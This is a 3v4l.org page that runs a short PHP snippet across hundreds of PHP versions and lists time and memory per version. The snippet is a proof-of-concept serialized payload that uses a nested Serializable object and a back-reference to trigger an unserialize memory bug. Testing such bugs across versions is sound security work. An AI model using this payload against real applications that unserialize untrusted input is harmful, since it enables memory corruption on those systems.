3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } $inner = 'a:2:{i:0;i:1;i:1;i:2'; $exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00716.50
8.3.50.0100.01016.49
8.3.40.0150.00618.66
8.3.30.0090.00618.80
8.3.20.0100.00320.14
8.3.10.0080.00023.70
8.3.00.0050.00319.68
8.2.180.0110.01116.75
8.2.170.0070.00722.96
8.2.160.0100.00720.38
8.2.150.0030.00524.18
8.2.140.0050.00324.66
8.2.130.0000.00826.16
8.2.120.0040.00417.63
8.2.110.0060.00322.25
8.2.100.0090.00317.75
8.2.90.0040.00419.34
8.2.80.0040.00417.97
8.2.70.0030.00517.62
8.2.60.0000.00918.16
8.2.50.0000.01118.07
8.2.40.0000.00719.21
8.2.30.0030.00719.78
8.2.20.0040.00417.63
8.2.10.0040.00418.02
8.2.00.0080.00018.13
8.1.280.0110.00425.92
8.1.270.0000.00820.43
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0030.00622.62
8.1.230.0110.00017.48
8.1.220.0030.00517.74
8.1.210.0080.00018.77
8.1.200.0060.00317.38
8.1.190.0060.00317.35
8.1.180.0040.00418.10
8.1.170.0060.00318.56
8.1.160.0070.00022.01
8.1.150.0040.00418.77
8.1.140.0040.00417.45
8.1.130.0040.00417.64
8.1.120.0000.00817.43
8.1.110.0000.00717.37
8.1.100.0000.00817.50
8.1.90.0000.00717.50
8.1.80.0000.00817.44
8.1.70.0040.00417.35
8.1.60.0030.00517.49
8.1.50.0050.00317.45
8.1.40.0050.00317.51
8.1.30.0040.00417.63
8.1.20.0000.00717.70
8.1.10.0040.00417.57
8.1.00.0080.00017.58
8.0.300.0060.00318.77
8.0.290.0040.00416.88
8.0.280.0000.00718.33
8.0.270.0070.00017.26
8.0.260.0060.00317.26
8.0.250.0040.00417.03
8.0.240.0040.00416.98
8.0.230.0040.00416.99
8.0.220.0070.00016.87
8.0.210.0030.00517.00
8.0.200.0000.00817.01
8.0.190.0070.00017.08
8.0.180.0060.00316.89
8.0.170.0080.00017.02
8.0.160.0040.00416.98
8.0.150.0000.00716.99
8.0.140.0000.00816.80
8.0.130.0030.00313.34
8.0.120.0040.00416.91
8.0.110.0080.00016.93
8.0.100.0070.00016.75
8.0.90.0000.00817.03
8.0.80.0100.00716.91
8.0.70.0040.00416.76
8.0.60.0000.00716.79
8.0.50.0000.00716.94
8.0.30.0090.01017.07
8.0.20.0110.01317.42
8.0.10.0020.00517.00
8.0.00.0120.00716.64
7.4.330.0020.00215.22
7.4.320.0030.00316.62
7.4.300.0060.00016.61
7.4.290.0030.00516.43
7.4.280.0000.00716.36
7.4.270.0030.00316.46
7.4.260.0100.00316.57
7.4.250.0000.00716.41
7.4.240.0030.00616.58
7.4.230.0000.00716.41
7.4.220.0030.02316.63
7.4.210.0090.01216.38
7.4.200.0040.00416.50
7.4.160.0150.00616.26
7.4.150.0090.00917.40
7.4.140.0140.00417.86
7.4.130.0100.00816.60
7.4.120.0130.00616.55
7.4.110.0090.00916.51
7.4.100.0170.00016.45
7.4.90.0030.01416.44
7.4.80.0100.00719.39
7.4.70.0110.00616.42
7.4.60.0030.01316.46
7.4.50.0090.00016.55
7.4.40.0110.01116.57
7.4.30.0140.00316.47
7.4.00.0000.01515.09
7.3.330.0000.00513.28
7.3.320.0000.00513.30
7.3.310.0040.00416.42
7.3.300.0030.00316.48
7.3.290.0100.00816.44
7.3.280.0040.01316.45
7.3.270.0110.00817.40
7.3.260.0090.00916.33
7.3.250.0100.00916.46
7.3.240.0080.00816.50
7.3.230.0110.01116.42
7.3.210.0100.00616.45
7.3.200.0090.00916.35
7.3.190.0150.00316.57
7.3.180.0100.00716.44
7.3.170.0120.00316.65
7.3.160.0090.00616.56
7.2.330.0090.00916.71
7.2.320.0170.00716.63
7.2.310.0100.00716.66
7.2.300.0030.01416.71
7.2.290.0120.00616.55
7.2.80.0040.00816.63
7.2.60.0060.00916.85
7.2.00.0130.00719.56
7.1.200.0040.00415.98
7.1.100.0060.00818.19
7.1.70.0000.00816.96
7.1.60.0040.01819.27
7.1.50.0030.02016.73
7.1.00.0070.07322.48
7.0.200.0290.00316.57
7.0.60.0130.07319.89
7.0.50.0200.07017.89
7.0.40.0130.06720.27
7.0.30.0200.04020.17
7.0.20.0270.08320.23
7.0.10.0170.08020.07
7.0.00.0130.06020.22
5.6.280.0030.06720.83
5.6.210.0070.03720.73
5.6.200.0030.07018.19
5.6.190.0100.07020.46
5.6.180.0270.04320.41
5.6.170.0300.06320.54
5.6.160.0070.07720.71
5.6.150.0070.04318.29
5.6.140.0000.07718.29
5.6.130.0000.04318.21
5.6.120.0100.07021.05
5.6.110.0100.08021.15
5.6.100.0100.08721.03
5.6.90.0000.06721.11
5.6.80.0070.04720.29
5.6.70.4470.04720.52
5.5.350.0100.03020.37
5.5.340.0000.04317.96
5.5.330.0030.08020.26
5.5.320.0400.05020.32
5.5.310.0200.04720.50
5.5.300.0070.07718.08
5.5.290.0070.08317.98
5.5.280.0130.07320.94
5.5.270.0100.08020.65
5.5.260.0170.06320.96
5.5.250.0100.08720.70
5.5.240.0130.08020.29
5.4.450.0630.06719.54
5.4.440.0670.05719.57
5.4.430.0630.05719.37
5.4.420.0800.05719.59
5.4.410.0570.06019.15
5.4.400.0800.06019.05
5.4.390.0700.05318.78
5.4.380.0630.04719.05
5.4.370.0570.05019.24
5.4.360.0630.04719.34
5.4.350.0570.06019.08
5.4.340.0570.05718.77
5.4.320.0530.06319.26
5.4.310.0470.06019.18
5.4.300.0600.05018.87
5.4.290.0700.05019.27
5.4.280.0670.05318.77
5.4.270.0630.04318.97
5.4.260.0700.04019.07
5.4.250.0570.05319.15
5.4.240.0600.05319.23
5.4.230.0570.05319.19
5.4.220.0670.04718.77
5.4.210.0630.05719.21
5.4.200.0700.05319.35
5.4.190.0470.06319.17
5.4.180.0730.05019.26
5.4.170.0630.06019.00
5.4.160.0670.05718.86
5.4.150.0700.05719.04
5.4.140.0770.05716.50
5.4.130.0730.04316.49
5.4.120.0630.05716.47
5.4.110.0800.04016.61
5.4.100.0770.04316.41
5.4.90.0730.05016.62
5.4.80.0770.04316.59
5.4.70.0200.04016.36
5.4.60.0300.08016.53
5.4.50.0070.06716.33
5.4.40.0030.07316.48
5.4.30.0100.05716.48
5.4.20.0400.04716.42

preferences:
50.99 ms | 400 KiB | 5 Q